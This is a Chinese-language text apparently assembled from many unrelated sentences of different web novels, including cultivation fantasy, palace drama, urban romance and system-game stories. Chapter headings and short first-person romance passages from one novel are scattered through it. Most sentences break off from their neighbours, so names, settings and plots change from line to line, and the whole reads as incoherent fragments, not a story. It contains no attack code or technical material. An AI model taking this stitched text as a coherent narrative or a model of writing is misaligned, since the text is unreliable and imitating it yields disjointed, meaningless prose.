“咦,这是什么?”神王忽然伸出手,在虚空抓了几下,展开一看,掌心上有些奇怪的晶粒,似琉璃,似珠玉,入手沉坠,上面更是蕴含着某种古怪的气息,让他产生了说不出的感觉。 进城城中,三人面前的,是一条十丈宽的主街道!在街道的两旁,也有很多分支。而在街道上,也是人来人往。虽数量不多,就那条主街道上,也不过只有四五百人。 “我会将眉月留下,她管着王府的账务,你若是银子不够,只管去跟眉月支取。若是真有什么急事,也尽管跟眉月说,府中总会留下人手,你大可放心!”林穆儿继续说道。 还好,腰一压下去,臀部就提上来了,姿势就对了,郑义松了一口气。如果臀部姿势再不对,不知道自己是否真的敢用手去板。突然,郑义好像觉得哪里不对劲。 “当然,看的出来你的眼光不错,选择当然也不会错!”郑义就差明火执仗的说,向敏选择自己是件非常明智的事情了。话题太暧昧,但与此时的情境很相配。 当然这也是叶辰自己的看法,而叶喵怎样看,这个他就管不着了。见到叶喵的样子,叶辰有些恨自己,又有些好笑。 果然是赵敏下的手,并且,夏开觉得,赵敏此次下手,比原本的历史线里要狠辣的多了。 这就是市场,观众的口味千变万化,艺术这个东西用逻辑讲不通,所以每个剧组开机前都求神拜佛,只能希望老天爷多多保佑。 天帝心念已定,便有一只白鸟出现在凌霄殿的穹顶,那凌霄殿的穹顶与虚空相通,仿佛一体无二。原来天庭宫殿金阙,本身就是灵物,一片琉璃瓦、一根盘龙柱都有单独的仙灵入主。 其实他也不知道荣大力明明治好了,为什么还会有轻微口吃,估计可能和他多年的说话习惯有关系。病可以治,习惯没法治,所以就算好了也不是全好,但问题已经不严重了。 说完,飘雪公子的身形如同融化在那阵波纹上一般,缓缓消失在雪青天视线之中。 “我们还不能马上般,房子刷过漆,还有味道,你怀着孩子,马上搬进来不好,再等十天左右吧,那时候就可以了。”林城说。 风逸冲着龙傲天喊了一声,此刻的龙傲天四人每两人抓住一条灵脉龙正在疯狂的抽取着,听到风逸的喊声,龙傲天立刻冲了过来。 第一卷 第105章 长出了一条尾巴 可我的手,却先他一步掐住了他的脖子,在他骤然惊惧的目光下,单手将他掐脖子举起来,再用力摔出去。 作为本次灯塔计划的总指挥,这次的行动可谓是大获全胜,只要顺利的回到联邦,就意味着这次任务结束了。 林行故作有些惊骇的样子,对于宫里的黑暗,他是有心里准备的。 当然,其实也不仅仅是时间提前了,还给安排了全宇宙的观众观看。 实际上没做过生意的聂若兮太理想化了,4S店说白了其实就是厂商的丫鬟,厂商混得好的时候你能跟着喝汤,等到厂商不行了,基本也就赚不到钱了。 然而,连福老那样的存在,竟是眨眼间,甚至连对方的攻击方式都没看到就陨落了。 英布现在最想要的就是墨家子弟,公输家子弟,医家子弟,要是都没有,来点大汉的普通百姓也可以,好歹他们会种地。 时辰已到,刽子手提起一旁摆着的酒壶狠狠灌了一口,牟足了劲朝泛着寒光的刀刃上喷去。 谢予将公司经营的很好,他赶上了一次时代的风潮,成功将企业转型,因为喜欢玩游戏的缘故,谢予未来准备建造一个属于自己的游戏公司。 自从知道她是谭浮之后,对她的关注不仅没有降低,反而更高了。 他知道今夜的战斗将成为他人耻笑的把柄,但他毫无办法,自己说不定还会被那名的特派使责罚,但他实在是没有办法了。 隐藏任务是收到三万人民币打赏,但眼下的数据显然已经超过三十万,不过也不会有什么特殊奖励。 没有了古殿的阻挡,远远吊着纪凡一行人的少数强者,在此之前并未感受到重钧宫中的战斗。 她还是那副虚无的样子,整张脸全部崩坏,完全就是一个漆黑的黑洞。 “不信你看,他这个时候的心,又不知道飞到哪里去了。”见刘启又是一副呆愣的样子,李艳在菲利斯的耳边说。 黑人痛叫一声,倒在地上,双手抱着被踢中的膝盖,面沉痛苦之色。 无佛和尚心都在滴血,将刚才得到的十六件宝物,一股脑全部扔给了徐承恩。 纪凡解了一些心中疑惑,也就没再问什么,独自进入一间石室陷入了思索。 看到刘启他那边一点事情都没有,而且这里的异族,已经完全的被刘启给吸引走了。李艳看到后,她轻轻的摇了摇头后,将驻守在这里的士兵,往其他的两个门调遣了一些过去。 再之后的路途步梵就完全看不到了,只觉得穿过了繁华的街区慢慢地开进了一个冷清的地带,周围的嘈杂开始逐渐变得悄无声息。 所以,贺子龙其实心里并不急,也不乱,但经历一下,总是一种资本。 季夜白想,如果是帝王集团发生这样的事情,他估计做不到苏薇妩这样的狠心,他一定会努力把那个位置紧紧捏在自己的手心里,绝对不会让任何人去破坏。 “证明?可以,晚上我带你们去看看,不过现在,我得休息,毕竟施法一次,要消耗我很大力量。”那个夜风懒散道,还躺在地上睡了起来。 宫羽无所谓的砸吧了两下嘴,冲着穆年虚弱的笑笑,乖乖的闭上了眼,舒服的靠向椅背。 琅涛打个大大喷嚏,再扒一口热,顿觉神清气爽,却又隐隐不安:他是不是忘记一件很重要的事了?……唔,是什么事呢? 即便如今的民风还不至于像后世一样开放,但绝大多数人都换上了短袖短裤,即便是稍微保守一些的也穿的比较清凉。 那一巴掌打的很响,他的掌心还在隐隐作痛,更何况是赵海超的脸了。 “那你来干什么?废物。”张一天实在忍受不了,骂了一句,然后哼了声,转身离去。 但是坏就坏在这墓地上了,之前的‘阿图卢’做了鬼之后,也是一个一心爱国的好鬼,虽然地府的差事一直没有着落。但也算安分守己。 连贯不断,全是他‘犯病’的样子,特别是看到伸手半掩着脸傲慢张狂,称呼别人为虫子的欠打模样,他硬是把自己看笑了。 系统这话,让顾白华想到之前,那姑娘为了打自己一巴掌一事,辛辛苦苦的做了饼干来道谢,结果自己还非常嫌弃,更扬言不吃,直接把人家给气哭了一事。 有什么好看的,今天是二年级擂台赛的开始,二年级有惊才艳绝的师兄师姐吗? 龙九儿将一盘做好的菜,放在战逸初跟前,余光瞄到四少的盘子已经空了出来。 他满眼哀怨的望过去,“王爷~你好狠的心~”然后暗暗瞪了一眼少年。 第一卷 第106章 本王,不碰你…… 一阵凉意贴着腿上的肌肤,渗入毛孔,融进血液。 我不知所措地屈膝,准备推他的手停在半空…… 他主动吻了我,是不是证明,他其实也没有那么讨厌我? 虽然,我们俩注定没可能…… 可,我现在是他名正言顺的老婆,贪心一些,是不是也没关系? 被他吻得心痒痒,我气息浮乱地慢慢放下手,阖上双目…… 听到这,朱怡成顿时就笑了。蒋瑾为铁路一事给下属请功,这奏折之前朱怡成就收到了,不过朱怡成并没有马上决定,而是打算等蒋瑾返京后和他谈过再说。 青玥一怔,倒是明白了南长卿为何反应这般大。挣扎着从南长卿的怀中下来,视线落在南长卿抿成一条直线的薄唇上,想要开口,却又不知如何开口。 本来自己就是北冥域的话题人物之一,能与自己相提并论的,便只有这北冥摄政王了。 这次,为首的灰衣人没有急于前行,而是先停下脚步,从怀中取出一根绳套,一边系在自己腰间,另一边则拴在面前的铁索上,另外两名灰衣人也在进行着同样的动作。 感受到说话时呼出的热气喷到脸上,青玥屏住呼吸,闭了闭眼,再睁开眼时,眼中尽是冷意。 “我不需要用别人的钱来购物。”凌若寒冷冷拒绝,又带着越阳买了三双鞋,总价值已经超过了六万。 虽然这样做,对方怡最有利——毕竟钱鑫出来了,财神集团就要归还到他手中了,之前做的所有算计和努力就全部白费,可一想到向淮这么做全是因为薛夕,她就觉得胸口处闷得慌。 网球的回旋带起了一阵细微的轻风,卷起众人那不同色彩的发微微扬了扬,淡淡的弧便在空气中悄然落下。 入眼的是一排有些破旧的民居,按原主现代的词汇应该叫危楼,墙壁上爬着斑驳的绿藤,喧宾夺主的遮住了本就透不进来多少的光线。 而就在梦啦梦即将宣布皑琳结果的时刻,她却猛的向后弹开,倒在了地下。 “你……”花上雪身子晃了晃,白皙的脸上瞬间染上一抹嫣红之色。眼中却是带着一丝不甘。身子一软朝后倒去。竟是未曾来得及将话说完,就那般睡着了。 很多人都为此感到不可思议,海军英雄卡普倒在了自己孙子的拳头之下。 纳兰雪,是蓝峥的次子,纳兰秋的后代,江越,亦可以算是蓝峥的长子,纳兰旦的后代,花开并蒂,放在他们两个的身上,可以说是再合适不过,而……成连理,说得不就是,他们会成亲? 先从司马玉说的。司马殇在他之前,先带了一千人上知微山开始,到后面跟那些被司马殇带去了山上的兵将们的口述,再到跟老斥候问询的,诸多踪迹,原原本本,连同自己的推断一起,悉数讲给了纳兰雪知道。 李慕也是突发奇想,见到没什么结果之后,就放开男子的手,举起酒杯又喝了一口。 大皇子言辞犀利,三言两语便将大势体现的淋漓尽致,不同于南宫奇,大皇子所表现出的是来自皇族的威严,毕竟身份上的差距摆上那里,苏洌虽然不惧,但也不敢去轻易的挑衅。 我说好,结果科马一溜烟就跑远了,我徒步跟在后面格外吃力,好在科马有点良心,每跑一段路程就停下片刻等我,跟在他后面的一队骑兵却个个绷着脸,老大不情愿的样子。 第一卷 第107章 她有娲皇的力量 “晚晚,你哥哥他根本没有认识到自己的错误! 他虽然不再欺负你排斥你,可他最爱的还是于玉澜。 “爱情为主题的话,歌曲实在是太多了,也很难有新意。”徐坤跟周翊当初的想法差不多,“要么分手,要么后悔,所以我还是决定搞点不一样的。 许昔诺这时才意识到店员是想让秦墨不好意思,然后碍于面子付钱。 听着对方似乎是因为【玩玩而已】刚才说的话而有些破防,嘴里更是不断地骂着你们这些男人得到了就不珍惜之类的。 “晓曼,要是哪天,你发现我真做了什么坏事,你会原谅我吗?”这算是渣男经典话术了。 这可没什么好犹豫的,盘古斧就算只有一块碎片,那也远胜灭世黑莲,只要想想盘古幡的威能就知道了。 没办法,村里人就算觉悟再高,也别指望他们有多么长远的眼光。 死疮身周萦绕着黑雾,语气不悲不喜:“其实早就该料到这种状况了,夏钺的积威甚重,那么多人亲眼目睹,亲耳听到他说要问心,哪怕我们一再说可以帮他们蒙混过去,也不管用的。 只不过当她看到周翊身边的许沫依时,挥舞的手顿时又停了下来。 陈鹿思看着三个让他格外在意的称号,开始推测自己可能要面对的东西。 城市是二十一世纪,而乡村、山村还停留在上世纪七八十年代的样子。 按照夏侯婴之前说过的方位,许潇默默数着步子,计算着自己走过的距离,走出去了有两百步开外的样子,穿过一片灰蒙蒙的雾气,周围的坟头就渐渐变得稀疏起来。那些密密麻麻的坟包土堆,这时候也看不到了。 而最后,更是需要脱离天地,超脱六道轮回,成就圣人,不惧生死,拥有无穷寿命。 可是,如果用得好,甚至可以堪比神仙,用来除魔卫道非常合适,而一旦违背了底线,将会失去法力。 想数月之前,天涯府城还处于担惊受怕的生活中,自有愚笨天门到此地之后,一切都改变了,闲人有人雇佣,商市活跃起来,随后更是吃上魔兽之肉,如今还移山填出了数千里的大平原,就有如做梦一般。 唐僧直接瞬移,下一刻便出现在宙斯的前方,粗大的闪电直接撞在他身上。 就听到夏侯婴解释道:“房屋里面长期不住人,久而久之,就会产生许多落灰,地底下的墓穴也是这样。因为像这种墓室,动搁都是几十年甚至上百年,没有进过人的,这样的房间里面自然会布满厚厚的灰尘。 “刚才有个叫陵世轻的人找过我,想跟你问一下情况……”许潇三言两语,把刚才电话里听到的情况复述了一遍。 赫丽丝不行,拥有着华夏地球人灵魂的她,根本无法忍受生肉的味道,就算是过去这么多年,也没变。 “哈哈哈!这些都是我的了!”那巨石居然无恙,此时更是传出哈哈狂笑。 “哎,你这话就没有意思了你说让我把狗松开的。”金明浩走到门口,把链子拾了起来,对着躲在门后的恩敏说道。 “好了,三界灵犀音已经给你了,我要的东西呢?”聂归一伸手,意思再明显不过。 对吧。梁太玄这一刻心里的怨念无比浓厚。而林瑾玉则是逗着他。 “看出来没?角度有些问题,薛平是想把叶彷徨打到轮回战场屏障上,然后借助阴间之力炸碎他,”鼎阵肆虐的狂风中,宁无缺玩味道。 “还行吧,也就是去参加活动,可以用的上,至于长时间的拍戏,还得用那一辆福特”金明浩看了一下,然后看着金秀妍说道。 一道金光从刚刚的婴儿房疾驰而出,直接打在大手之上,这也就是阴云中传来痛呼的原因。 而安若曦看着苏寒不说话,更认为他是理亏,看着苏寒就像是在看负心汉。 神选者每次在琉璃月宫中呆的时间只有四十五分钟,四十五分钟一到便会被强行“送走”,这些噬心虫无疑就是积分的来源。 茅衷一点儿都不在意水东流的语气,他现在又有了新的研究目标。 邪自生用手搓了拼手腕上的银色骷髅头,银色骷髅头根本没有一丝颜色减退的迹象。 “龙爸爸!”冰原看到史龙很高兴扑过去抱着他的腿,他不懂得史龙和其他干爸的区别,只是感觉龙爸爸很神秘,越是神秘的越能引起孩子的好奇心。 澄在夏婷身边的现场没有作出多余动作的原因就是:观察了车祸的现场之后,她就认定了夏婷不可能独自从车厢里逃出。并且浓郁的汽油味也注定了她在车上的那桶汽油是可以省下了。 这一声爆炸声比之前所有的炸响都要巨大,不止死亡森林,整个修罗战场都发生了剧烈的抖动,甚至引起了海啸翻滚,山崩地裂的异象。 第一卷 第108章 你认识水族文字? “娲皇……” 胡玉衡老成稳重地拂袖站起身, 越看越让孙武震惊,这里不同于外界,这里自成一体,除了邪气重了些,倒是与外界没有什么不同。 裙衣翻飞之间,玉紫晴看见傻笑的白夜晨,莫名地脸上绽开笑容。 屠灵无语,这兄弟真是哪壶不开提哪壶,当初他以为苏弃是圣主时,可是吓得坐在地上瑟瑟发抖,如今再回想起那一幕,瞬间感觉没脸见人了。 车中,楚舟等人都在暗暗打量着刀姐的身影,猜测着刀姐的来历与身份。 “对。我去乔姐姐家里没有看见她,听周姨说她来医务室了,就想去找她。”唐玲点点头,回答道。 有的人生来就有命,有的人生来可怜,受人排挤,受人唾弃,受人冷落,记得仙人曾经说过,有福之人皆是前世之功,可怜之人则是前世之过,这样的话反复说了千年甚至万年,若不是在行动中无法前进,谁会信这是真的? 不知道是不是听懂了苏弃的话,从第十道雷霆开始,雷霆化柱,直接采取范围性攻击。 因此凌泽的实力越强大,他自然越高兴,毕竟在这大西北的戈壁里,拳头大才是硬道理,在这个帝国中自然也是如此。 孙秀贤见妹妹一直没有回来,便出来找人,哪知道,孙秀韵直接混到了天字一号房去了。 萧公公拉着‘苏弃’的手离去,白琅自血泊中爬了起来,吞服了几颗疗伤丹药,急忙追了上去。 询问的馆主袁明是担心,但他绝没想过,自己竟然会得到如此凡尔赛的答桉。 因无法接受神子如此轻易的就败北,这使得思绪混乱的余主祭根本没反应过来。 黄老师显然对这位近代史的人物有些了解,顿时深吸了一口凉气。 一路前行,使得投影到钟超脑海里的剑意投影不断,以往,面对这些投影,钟超都是在玩躲猫猫游戏——即尽力躲闪,等候那些投影被虚幻大日给焚灭。 这几个下属都有些摸不着头脑,但因为眼前这人是货真价实的主子,便也不啰嗦,低下头开始摸兜。 雇人那日,李明义还和吴怡感叹着当初自己在清水镇去柳家应工时的模样。时光飞逝,一晃眼,自己也能走到雇人的位置上。 当然,这玩意没有矿脉的说法,他只是用这个来形容,但这一个一百公里范围内蕴藏的星钻实在是太多了,清点出来整整有965400颗,相当于之前三花贸易公司挖的数量的十倍。 枝条绞杀,动物扑击,毒素污染,除此之外,还有树叶化作的利箭。 “宝哥早上刚刚在周边看了一圈,然后就去训练基地了。宝哥每天早晚都会绕着整个村子查一遍。”大汉不忘给宝哥说两句好话。 因为这里是镇魔司,乃是维护大秦稳定的一个机构,主要的职责就是斩杀妖魔诡怪,当然也有一些别的副业。 一位筑基后期,身穿化血宗长袍的老者出现在被阵法笼罩的宫殿前,拄着一个拐杖,叹息说道。 第一卷 第109章 收回第二片龙鳞 我尴尬地回话:“猜的。那几个字,还挺好认的。” 总不能告诉他,我有特殊能力,看一眼那种文字,脑子里会自动转换成现代简体字吧! 而且我也没骗他,小时候我第一次在河面捞起那些枫叶,枫叶上金光灿灿的文字映入我眼中,我的眼睛分明觉得很陌生,可我的脑子却能精准把每个字都翻译成的对应简体字…… 我以前拐弯抹角问过杨泽安为什么来着,杨泽安说,天赋天赋,就是老天爷赐给人的特殊能力,本来就没有为什么,没有具体原因。 就像有...... 就在裴矩等人想方设法为李渊和李旭之间制造隔阂的同时,河东李家已经做好了起兵南下的最后准备。 随着时间的不断流逝,整个重庆市聚集地周围的空气都好像化为了实质一般,压抑得众人连呼吸都变得困难了起来。 心如止水,陈胜坐在醉月楼三楼的厢房之上,居高临下凭栏眺望,楼内所有情景无一遗漏,尽收眼底。 而他体内的罡气真气,更是在这一击之下被牵动起来,在体内一阵猛烈冲撞,彼此之间自相斗争。 短短半天的时间,妖兽族来了人类的消息竟被传开。更有知道内情者道出了诸葛不亮的身份。诸葛不亮现在可谓说是风云人物,不光是名扬九州,就连妖兽族的许多修者也知道他的凶名。 “好”电话里面罗志的声音也很严肃,剑冬放下电话之后,就靠在墙边上,他往出迈一步,就会出现在二楼的走廊上,然后,就会被下面的人发现。 有这信心作为底子,老者再看裴东来,便觉得裴东来也不过尔尔。 老者看着裴东来平静如水的面目,心中憎恶yù杀之感愈发的强烈。 而就在路西法即将被完全麻痹的时候,他的杀招也终于酝酿完毕。伴随着一声冷厉的轻喝,一道剑型黑芒以肉眼难辨的速度从路西法额间圣目激射而出,朝着和他距离不到二十米的皇电射而去。 这啸声听起来虽然十分的稚nèn,但是其中自有一种睥睨天下、傲视万物的气势。 没有一个大哥会花天价把他们捞出去,他们不是什么特别有本事的黑社会,捞他们出去是很不划算的事。 蓝若歆看着被拖走的大虎和巨鬣狗的尸体,沿路留下血色的痕迹,拖拽出一条明显的死亡之路。 我隔着眼泪看到他的脸,瘦了很多,也黑了一些。泪水一下子开了闸,再也止不住了!哭得气结,嗓子疼得喘不气来。 撞的木屋剧烈的颤抖摇摇晃晃的。或许是因为这些猿猴族兽人建造的木屋很结实,残忍的飞鹰撞的身体感觉到受伤了。也没有把木屋撞开。 薇薇安和迦陀莎被监视那简直太正常了,她们是他的贴身保镖,与他一起露面的时候非常多。龙江的人能监视周军和泰格,自然不会漏掉他们。 对面一辆改装车迎面驶来,伴随着震耳的引擎声,眨眼就驶过了凌霄和伊莲娜的身边。 说完程月催动飞行器,顿时如离弦之箭般呼啸而去,那速度完全不亚于音速飞机,也只有达到二阶基因锁才能驾驭,看着瞬间消失的程月,叶竹叹了口气,跟着也拿出个飞行器,没有丝毫犹豫追了过去。 心里想着自己也比较无聊,就先和萌妹子一起出来逛逛把,反正我现在是特别期待下午和张风闹事,不管闹得过闹不过,总是想把这件事先给解决了先就好。 坐下后我也就不说话,而冷美人却一边安慰这个一边又安慰围巾妹,虽然冷美人对于围巾妹也是很不满,但毕竟围巾妹现在也是和我偷偷的在一起着。 我知道这几天他们两个都心力交瘁,问了何则林想喝什么茶,马上进去泡茶。 一开始,就是一组琵琶演奏。即使在人间,夏秋也从未听过那么复杂的旋律,魔灵族似乎能赋予简单的琴弦魔力一样,让它们在他们手中变幻莫测,奏出天马行空的情绪,让听者浮想联翩,也令她赞叹不已。 紫宸嘴角勾勒出残忍的笑意,一股惊天的邪意从他身上爆发了出来,冲天而起,虚空中的云彩都是翻滚了起来,朵朵白云瞬间就变成了漆黑一片,竟然被他的邪意给硬生生染成了一片黑色。 “大大大、大人,我是是是男子……这个,男人与男人,那个”朱右双手抱胸,眼中含泪,可怜兮兮望着青鸾,一副誓死捍卫清白的样子。 “你笑什么呢,啥事这么高兴,从我看见你还没见你停下呢”。梁可意上了车,有些不好意思的问道。 这些事情都安排好了之后,成东林还有一个晚上比较悠闲的时间,唐心提议大家去逛街购物,成东林也没有拒绝,不过徐洁和白茹似乎还有事情要忙,所以就没有跟着一起去。 “若是你在完全状态也许还能够与我一战,不过如今却是战力锐减,连一半都没有,凭什么与我战。”未央公子一步踏出,直接瞬移到陈况身后,双手一抓,空间直接将陈况禁锢起来。 叶裳拿出匕首,走到那颗大树前,果真动手在那颗大树的树干上开始刻字。 虽然天山名字很强大,但是说到底只是一座山脉而已,根本没有任何有力的地形,即使是有,在点燃神火的真神以及斩道大能眼里,一切天险无疑都是低层次才会利用的,在他们眼里根本没有任何难度。 一夜打坐,萧飞心无杂念,此时,叶石感觉思维灵敏了不少,其实就算是夜晶石不能被使用,但是在这些东西周围聚集的天地玄气也是相当的浓郁,在这里修炼也与直接吸收玄晶进行修炼差不了多少。 第一卷 第110章 此生,与你们不复相见 “我的护身符……” 于玉澜捂住胸口急得跳脚,抓着于平安的胳膊任性摇晃,撒娇催促: “哥!我的护身符!他们都是些什么人啊!凭什么抢我东西!” “抢你东西?” 于玉晚冷笑,目光寒冽地盯着于玉澜平静质问: 那时,距离薯条成为编辑也没多少时间,不过既然是远古时代,则意味着规则的缺失。 帝都之眼的摩天轮此时已经被人层层包围,这些包围摩天轮的都是傅家的人手。 将视线移到道家姑娘的胸前,随即不禁感叹,这江湖,可当真不大。 “呵。”姜暖冷声道,她原本想着自己早已经千疮百孔的婚姻,不如断了好了。 他在家的时候,不喜欢保姆来做事,以为是保姆记错了时间,他朝一楼的厨房走去,脑子里已经想好了开除保姆的金额。 那是一位相貌普通,年纪大约二十七八的男子,此刻他正一脸惊愕,死死的盯着对方面前的银白色圈。 林毅见到她这般,也顺着她的方向看了过去,看到那一盏灯被打翻了,而她却在努力伸手去够它。 可谁知道,重心不稳,再加上心脏的疼痛,老爷子瞬间摔了下去。 一进门,他倒也没急着上楼,只是晃荡着来到卓九身旁坐下,仰着头,微眯着双眼,一脸的神游天外。 直觉告诉他,咖啡并不是来讨好自己,从而从自己这儿获得更多的好处。 于金宝的脸顿时涨得跟猪肝一样,他喊来收拾赵山河的人,现在竟然在劝着他这件事算了。虽然是因为钱的原因,可这还是让于金宝感觉自己受到了侮辱。 江骊知道直接求皇上放了江泽天那是越矩的事,因此她只能这么替江泽天求情。 他们刚刚进场时带的五百万,现在早就已经换成了筹码,被放在他们的面前。 月黑风高,没有监控没有路人,多么天时地利的杀人场所,男人说完之后似乎没有耐心浪费口舌了,朝着身旁的两人说了声“上”,便齐刷刷的朝着邵廷围了过来。 饶是这样,许果果还是在外力作用下,被推到了一边,摔在了地上。 话说到一半红愿他们却说不出来了,“萌萌这样做都是为了保护她们”这样随意的换着,萌萌就一点都不担心她和戚萌萌换不过来吗? 陆绍钧注意到温鹭鹭的动作,眼里不由自主闪过一抹笑意,这怂怂的模样还挺可爱的。 费尧是什么人,年纪轻轻就打造了一个强大的商业,是多少人想要高攀的高岭之花,可现在他却过来跟她说,他想要她生个孩子。 她迷迷糊糊的,听不完整,只知这个属于她的男人极有耐心,没说一个“爱”字,却将自己内敛的感情,选择了这么一种热烈的方式表达出来。 王工权其实知道赵山河刚刚的回答只是客气话,只是万一赵山河真的回答了呢。 不管别的,首先,就是因为他们的麻痹大意,没有做好工厂的安全工作,或者,因为一段时间的安全,造成了他们的疏忽,没有对工作人员特别强调安全概念。 见此情景,许云彪等人没有丝毫的迟疑,当即纷纷将手腕往上一抬,一支支冲锋枪,便被许云彪等人抱在手中。 随着张百忍的喝叫,一道粗大的鸿蒙紫气自他的指尖涌出,在空中翻滚不息,不断的膨涨融合,最后渐渐的化出了一座三十三重天界的迷你模型出来。无边的云霞宝气自这道紫气之中射出,映衫的周围宛如仙境一般。 第一卷 第111章 我不能自私的留下你…… 于玉澜终于如愿以偿地和于家人永远在一起,再也不分离了。 一起坐牢,又何尝不是一种HE结局。 杨泽安询问过二度子宫移植的事,但管家吴叔联系了好几位京城的医学大拿,得到的答案都是……几乎没有可能。 南宫玄踉跄的走在森林中,本来他打算坚持走出森林,不曾想到了中午的时候,终于拦不住身上的伤势了。 手忙脚乱之下,他只能堪勘用手腕扶住她的胳膊将其稳住,又即刻坐下,揽了江宁的胳膊让她靠在自己的肩膀上。 冷千澈看了他一眼,然后就不再看他了,拿起手中的薄荷味的纸杯蛋糕靠着椅背就优雅的吃了起来。 “你跟老板很熟悉?”她舀了一颗馄饨,放在嘴边吹了吹,送到嘴边一口咬下,那软滑的面皮和紧致弹牙的肉馅瞬间激活了她的味蕾。 秦言擦了擦自己笑出来的眼泪,淡笑着把这一茬给揭过去了,只不过,祸端确实是没招来,但是却给盛满江招来了许多桃花。 “这戒指也不知道有什么作用,让凯瑟那么宝贝的藏着。”随手将当初在凯瑟子爵那里缴获的黑宝石戒指摘下,放进办公桌的抽屉里面。 兴许是常年驻守边疆的缘故,他皮肤粗糙不堪,脸上的皱纹像是被草原风沙磨砺过一样,沟壑纵横。 略微沉吟之后,莱恩最终否决了这个建议,虽然他现在派人去搜查肯定能搜到什么,但是他并不想这样。 林冲在风雪山神庙之后,魔星归位失了人味儿,就只剩兄弟情谊和杀高俅这点念想。 里面轻纱晃动,中药味充斥着整间屋子,叫人险些睁不开双眼,姜卫柯忍着咳出声的冲动,咬着牙朝里面走。 脸颊传来火辣辣的疼痛感,姜尘宁却是动也不敢动,柳公公垂首立在一旁,未敢动弹,屏着呼吸,眼角余光悄摸的注视着老皇帝的一举一动。 他原来以为,敢抢白家的东西,或许有几分能耐,才会亲自出手。 路语堂主动提出要帮她,还让苏玟有些吃惊,他不早就和宫白亦联手了吗?一旁的苏梦缘脸色早就变了又变,十足地精彩。 裴雨琛说到口干舌燥,对方也咬紧了一千二百万的价格一点不降。两边闹到不欢而散。 负责人在看到这种情况的时候,就知道这个男人内心当中是一个什么样的想法。 “我?关于哪方面?”李岳惊讶于楚清菡语气的平静。他瞥了一眼副驾驶,随口回答。 随着境界修行的深入,感知到身体的窍穴时,就代表到达了第二境界,启灵。 “你不会真害怕的想自残求饶吧?”赵明也明显一愣,而后冷笑道,脸上浮出一抹骄傲。 醒来之人愣住了,他觉得韩生威不像在编故事,自己身体状况自己清楚,但他还是拿不准对方是否敌特分子,因为他正在执行一项绝密任务,不得不谨慎,于是试探性的说:“如果我是彭加木呢,你怎么看?”。 但他们对凯恩易容后的脸并没有印象,还真找不出一位能对上身份的。所有人都开始对他们的身份好奇。礼官客气地询问他们名字,态度愈发恭敬。 沈启天也不管他们到底是要迎接谁,上前就胡搅蛮缠,这是他惯用的老方法了,风程章要是想把他赶走,那就得把事情说出来,让他听个完整,看看今天是什么大人物要来风家,不然他是在这风家赖定了。 第一卷 第112章 龙鳞内的记忆 王瘸子捂着被打出内伤的心口,猛吐两口血。 远远看见帝曦站在我身侧,做贼心虚的被吓一激灵。 “龙仙……” 随后像是老鼠碰见猫,一秒不敢迟疑的仓皇爬起身,扭头就跑。 乌木妾笑了笑,一扭玲珑腰身,坐在石桌前,托着香腮,含情脉脉地看着他。 老太太不想让敬非一直躺在医院里,医生也建议,在熟悉的环境里,恢复的可能性会大一些,于是就把人给接回了家,那些昂贵的医疗设备也一齐搬了过来。 他们正打得不可开交的时候,那莫和带着那家的保镖队伍,大约三十来人,来到了要门总坛的大院。 云超告诫自己不要着急,千万不能弄错,一定要找到真正的告密者,铲除隐患。 以云筝为中心,四周延伸到百米之处,有一层结界阵法而起,犹如牢笼,将他们都束缚在一个空间内。 栾平桂很清楚,对方根本就不会放过自己和邹庆玉的,所以对于邹庆玉那种刻意蒙蔽的幻想毫不赞同。 此大阵,由周古通亲自布局,防御力更是能够抵御住大乘修士的全力一击,只不过很可惜他本人现在正在闭关,对于外界的消息并未能够感知。 大家都很清楚,在这个昵称背后的人,正是身为亡灵君主的陈明。 她可没见过玄阳,只是当初离开帝都城的时候,听她爷爷提起过此人而已。 以官方专线网络作为跳板,在那迷宫,蛛网一样错综复杂的路线当中,找到了真正的下手目标。 “知道了。”李清欢轻轻一笑,然后腻着声音用脸在陈韫身上蹭来蹭去,好不可爱。 孙可心今天好像精心打扮了一下,画上了淡淡的妆容,青色的摆着短裙,将修长的长腿展露出来。 这个江尘云究竟是什么人?难道是警察卧底?或者是警察的线人? 再到后来因为一些事情于新郎索性将店铺悉数变卖,图一个清闲,有事没事的就喜欢往各个酒楼里跑,听戏学戏,一年下来竟是蛮学了几出戏。 黑白的电视连接着电梯当中的摄像头,可以通过这东西看清电梯当中的一切,只不过平时没有人会注意。 而施展这一招的两名天使似乎看起来有点气喘,可见刚才躲避的这一招消耗很大。 他在告诉别的禁区至尊,现在已经无路可走了,他们必须要拼了。 之前还因为和对方交手,而热血沸腾的佟泽豪,此刻也如同被人点了哑穴,一句话也不说的窝在沙发上。 今晚,他就是柳翩翩的专属骑士,能够付出生命的那种,维护自己的公主。 他们没有呆愣,林川都已经亲自吃过了,而且没有发生任何问题,现在轮到他们了。 四人对坐,整个天使神堂几乎要承载不住这如今世界上最顶尖的四位主的气息,嘎吱作响,摇晃之间险些坍塌。 这些抵触虽然没有当着他的面说,但多多少少也从旁人之口传入了他的耳朵。 如果晚上结果出现,林川的确有能力,蔺刚肯定可以同样明天林川继续参与,但要是林川晚上的结果不如意,那么明天的比赛,肯定不会让林川参与。 他那个大徒弟曾经在七虎岭的山谷里,捡到了好几块带着金沙颗粒的石头。 第一卷 第113章 龙仙大人又抽风了 可下一秒,我就被某人踹门而入的声音给惊得浑身一颤,猛地清醒过来—— 睁开双眼那一刹,我的目光却先撞入了一双琉璃剔透的清澈紫眸里…… 他此时,竟与我不过咫尺之遥。 俯身凑近我,灼热的吐息缠上了我的呼吸,薄唇似是、刚从我唇畔移开。 我霎时心慌意乱,耳根发烫,下意识缩住双肩,一头雾水地呆呆与他四目相对。 刚才那感觉…… 苏焰只要强行以法则力量碾压,那么还是能够将他们击杀的,只是这么做,他的修罗法则势必会遭受到反噬的。 陆轩笑着,意念一动,当即这艘古老的大舟立即迸发出了惊人的速度,瞬间消失在虚空当中。 只听说老对手韩行的手里掌握着一支坦克劲旅,他们在南征中,可叫皇军大大地吃尽了苦头。 好不容易换了份自由的职业,却发现自由更加难得了,至少跟想象的不一样,或许是因为责任,或许是因为其他。 我的汗慢慢开始流了下來。昨晚的那种不详的预感瞬间又笼罩了我。 再加上这里的人每一个都是修为高深,因此所有人都听到了他的话语。苏焰一拍脑袋。 倾四海破开结界,身影一闪,没入街道,附近的时间法则玄奥无人掌控,消散于无形间,那些半步主神都没有觉得不妥,好像上一秒就是如此,根本没有强者入侵一样,继续来回巡视。 “这个我已经想过了,单靠我们去找,很难找到那个逃走的家伙,可是现在,我们有现成的人手帮助我们寻找,所以不需要着急。”李旭自信满满的说道。 